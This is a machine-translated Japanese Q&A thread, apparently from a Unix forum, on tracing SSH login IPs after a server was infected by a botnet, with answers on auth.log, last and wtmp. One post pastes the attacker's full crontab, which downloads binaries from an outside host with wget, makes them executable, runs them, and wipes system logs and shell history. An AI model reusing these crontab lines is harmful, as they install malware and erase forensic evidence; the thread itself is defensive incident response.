web-dev-qa-db-ja.com

SSH経由でサーバーにアクセスしたIPアドレスの履歴

私のサーバーがハッキングされ、既知の中国のボットネットに感染したことが私の目に留まりました。

これは、独自の静的IP(USアドレス)を備えたプロトタイプ/テスト用仮想マシンだったので、害はありませんでした(それを理解するのに少し時間がかかりました)。

ここで、攻撃が中国から発信されたものかどうかを知るために、侵入にどのIP /が使用されたかを知りたいと思います。

サーバーのsshで受信した接続の履歴を表示する方法はありますか?

編集:システムはLinux Debian 7です。

46
Dominique

lastコマンドの出力を見てください。ネットワーク経由で、空白の代わりにIPアドレスまたはホスト名が含まれているものが見つかりました。 sshdがこのシステムでそれを行う唯一の方法である場合、そこに行きます。

または(これがLinuxの場合)、/var/log/secure(RHベースのディストリビューション)または/var/log/auth.log(Debianベースのディストリビューション)を確認できます。ここで、sshdは通常、行われた接続を追跡しますログインに成功しなかったとしても(utmp/wtmpにヒットし、これがlastから読み取られます)。例:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solarisのsshd(必ずしもOpenSSHのsshdとは限りません)は、この情報を/var/adm/messagesに記録します

編集:

@derobertは優れた点です。どのシステムでも、スーパーユーザーアカウントが危険にさらされている場合、/var/log/wtmp/var/adm/messagesなどのログファイルは攻撃者によって変更される可能性があるため、すべての賭けは無効になることを覚えておくことが重要です。これは、ログオフサーバーを安全な場所に移動することで軽減できます。

たとえば、私が以前働いていたあるショップでは、データセンター内のさまざまなサーバーからのみ監査ログファイルを受信するようにセキュリティで保護された「Audit Vault」マシンがありました。将来、同様の設定をすることをお勧めします(「私はテストマシンを持っている」というのは、大規模なショップで操作しているように聞こえるためです)。

48
Bratchley

サーバーのsshで受信した接続の履歴を表示する方法はありますか?

これはあなたにリストを与えるはずです:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

次に、geoip-binパッケージのgeoiplookupを使用して、ホスト名またはIPアドレスから国に移動できます。

さて、予想通り、@ Joel Davisが言ったように、すべてのログは消去されましたが、@ Rameshがrootユーザーへのアクセスを試みたものの、正しいパスワードを数回入力できず、次に再試行回数が多すぎます。

私は3つのアドレスでtracerouteを実行しました。2つは中国から、もう1つはパキスタンからです。これらはIPです。

221.120.224.179
116.10.191.218
61.174.51.221

侵害された後にサーバーに挿入されたボットネットに関する詳細情報:

ハッカーはcrontabを編集して、x時間ごとにすべてのCPUを使い果たし、サーバーのネットワーク出力を最大化し、その後ただ単に死ぬ7つの実行可能ファイルを実行します。また、追加された行を非表示にするためにreadmeをcrontabに100回追加するので、crontab -l READMEに隠された行が含まれています。これを回避するために、私はcrontab -l | grep -v '^#'そしてここにそのコマンドの出力があります:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir Nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * Nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * Nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * Nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * Nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * Nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * Nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * Nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

ご覧のとおり、すべてのログファイルがクリアされているため、多くの情報を取得できませんでした。

サーバー全体(すべてのVM)がダウンし、サイトとproxmoxでタイムアウトが発生しました。グラフは次のとおりです(スパイクはボットネットがアクティブにDDoSしていることを示し、ネットワークに気づきます)。 botnet activity

結果として、中国のIPアドレスの全範囲をファイアウォールに追加して、すべての接続をブロックします(中国のユーザーはいないため気にしません)。また、リモートのrootログインを許可せず、長い複合システムを使用します。パスワード。また、おそらくsshポートを変更し、秘密のsshキーも使用します。

6
Dominique

this の回答から、以下の情報がわかります。

SSHサーバーについて、コマンドラインソリューションを紹介します。

ユーザーのログインとログアウトを追跡します。それは簡単です。ファイル/var/log/auth.logにこの情報が必要です。

これらのユーザーのアクティビティを追跡します:彼らがやや無害な場合は、ホームディレクトリにある.bash_historyファイルを確認できます。それらが実行したコマンドのリストが表示されます。問題はもちろん、このファイルを削除または編集できることです。

ユーザーがログを削除できないようにする:ユーザーはauth.logをタップできないようにする必要があります。 bash_historyで遊ぶのをやめるには、いくつかのトリックを行う必要があります。

ユーザーがルートアクセス権を取得できた場合はどうなりますか?:あなたはうんざりしています。彼は間違いをしない限り、すべての足跡を隠すことができます。

また、 this の回答から、SSH_CLIENT変数を使用してクライアントのIPアドレスを確認できます。

this の回答からも、sshの履歴をこれらのファイルに保存できることがわかります。

/var/log/lastlogに加えて、/var/runおよび/var/logには、情報を保持するutmpwtmpおよびbtmpの3つのファイルがあります。現在のログイン(および追加情報)、過去のログイン、および失敗したログインについて。詳細については wiki を参照してください。通常のエディターでファイルを編集することはできませんが、ファイルを消去することはできます。

3
Ramesh

パスワードによる成功したログイン試行のみを表示するには:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted'
2
Vini

マシンにログインした最後の10人のユーザーを取得する最も簡単なコマンドはlast|head

すべてのユーザーを取得するには、単にlastコマンドを使用します

1
Nikhil Katre

このマシンは危険にさらされています。これは、履歴または現在のデータが信頼できなくなったことを意味します。

要するに、答えはノーです。このマシンに記録されたログファイルから発信元アドレスを見つけたかどうかはわかりません。

ワイプして再インストールします。そしてパッチ。

1
roaima

debianの場合、テスト検索の表現は少し異なります

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
1
CRTLBREAK